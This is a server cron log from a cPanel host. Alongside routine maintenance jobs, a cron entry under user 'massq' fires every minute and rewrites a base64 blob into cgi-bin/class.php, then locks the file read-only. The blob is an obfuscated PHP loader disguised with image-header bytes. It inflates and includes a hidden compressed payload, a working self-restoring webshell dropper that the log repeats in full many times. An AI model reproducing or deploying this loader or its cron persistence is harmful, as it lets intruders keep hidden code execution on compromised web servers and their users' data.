Sep  4 21:03:01 server CROND[11372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:04:01 server CROND[11853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:04:01 server CROND[11855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:04:01 server CROND[11854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:05:01 server CROND[12252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:05:01 server CROND[12251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:05:01 server CROND[12255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:05:01 server CROND[12257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:05:01 server CROND[12261]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:05:01 server CROND[12258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:05:01 server CROND[12256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:05:01 server CROND[12259]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:06:01 server CROND[13125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:06:01 server CROND[13127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:06:01 server CROND[13128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:07:01 server CROND[13487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:07:01 server CROND[13488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:07:01 server CROND[13489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:08:01 server CROND[13852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:08:01 server CROND[13853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:08:01 server CROND[13854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:09:01 server CROND[14404]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 21:09:01 server CROND[14406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:09:01 server CROND[14405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:09:01 server CROND[14407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:10:01 server CROND[14809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:10:01 server CROND[14810]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:10:01 server CROND[14813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:10:01 server CROND[14815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:10:01 server CROND[14812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:10:01 server CROND[14814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:10:01 server CROND[14818]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:10:01 server CROND[14817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:11:01 server CROND[15645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:11:01 server CROND[15646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:11:01 server CROND[15647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:12:01 server CROND[16014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:12:01 server CROND[16015]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:12:01 server CROND[16016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:12:01 server CROND[16017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:13:01 server CROND[16388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:13:01 server CROND[16390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:13:01 server CROND[16389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:14:01 server CROND[16876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:14:01 server CROND[16878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:14:01 server CROND[16879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:15:01 server CROND[17266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:15:01 server CROND[17268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:15:01 server CROND[17275]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
